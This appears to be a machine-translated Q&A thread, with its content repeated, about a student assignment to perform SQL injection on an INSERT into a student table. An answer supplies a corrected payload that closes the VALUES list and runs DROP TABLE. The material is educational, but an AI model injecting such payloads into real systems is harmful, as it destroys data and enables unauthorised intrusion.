SQL 尝试删除 table 注入语法错误
SQL injection Syntax error trying to Drop a table
所以我正在做一项作业,作为其中的一部分,对我命名为 test 的 table 执行 SQL 注入,从用于在 table 命名学生。
我一直在努力
'; DROP TABLE test; --
我收到这个错误
Error: INSERT INTO student (student_id, first_name, last_name, DOB, sex, phone, user_id) VALUES ('nhdb', ''; DROP TABLE test; -- ', '', '', '', '', 'u01')
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
'; DROP TABLE test; -- ', '', '', '', '', 'u01')'
at line 1
最初我试图删除学生 table,但是当我测试用户是否有权删除 table 时,出现了外键约束问题。所以我整理了一个 table 命名测试,用户可以毫无问题地删除它。
关于我哪里出错的任何指导?我确定 '; DROP TABLE test; --
应该可以。
它失败了,因为 INSERT
值的其余部分在您的示例中被注释掉了。预计有七个值,但只提供了两个。
右括号 )
也丢失了。
因为INSERT
失败,DROP
也没有执行。
这应该有效:
', '', '', '', '', ''); DROP TABLE test; --
INSERT INTO student (student_id, first_name, last_name, DOB, sex, phone, user_id)
VALUES ('nhdb', ''; DROP TABLE test; -- ', '', '', '', '', 'u01')
因为你是:
'nhdb, ''
后缺少右括号
- 尝试在一个查询中执行两个语句,其中一个是 DDL 语句,而不是查询
VALUES
子句中缺少五个参数。
- 正在尝试将 DROP 语句插入到 INSERT 语句的中间。
这还没有开始有效SQL。
所以我正在做一项作业,作为其中的一部分,对我命名为 test 的 table 执行 SQL 注入,从用于在 table 命名学生。
我一直在努力
'; DROP TABLE test; --
我收到这个错误
Error: INSERT INTO student (student_id, first_name, last_name, DOB, sex, phone, user_id) VALUES ('nhdb', ''; DROP TABLE test; -- ', '', '', '', '', 'u01')
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
'; DROP TABLE test; -- ', '', '', '', '', 'u01')'
at line 1
最初我试图删除学生 table,但是当我测试用户是否有权删除 table 时,出现了外键约束问题。所以我整理了一个 table 命名测试,用户可以毫无问题地删除它。
关于我哪里出错的任何指导?我确定 '; DROP TABLE test; --
应该可以。
它失败了,因为 INSERT
值的其余部分在您的示例中被注释掉了。预计有七个值,但只提供了两个。
右括号 )
也丢失了。
因为INSERT
失败,DROP
也没有执行。
这应该有效:
', '', '', '', '', ''); DROP TABLE test; --
INSERT INTO student (student_id, first_name, last_name, DOB, sex, phone, user_id)
VALUES ('nhdb', ''; DROP TABLE test; -- ', '', '', '', '', 'u01')
因为你是:
'nhdb, ''
后缺少右括号
- 尝试在一个查询中执行两个语句,其中一个是 DDL 语句,而不是查询
VALUES
子句中缺少五个参数。- 正在尝试将 DROP 语句插入到 INSERT 语句的中间。
这还没有开始有效SQL。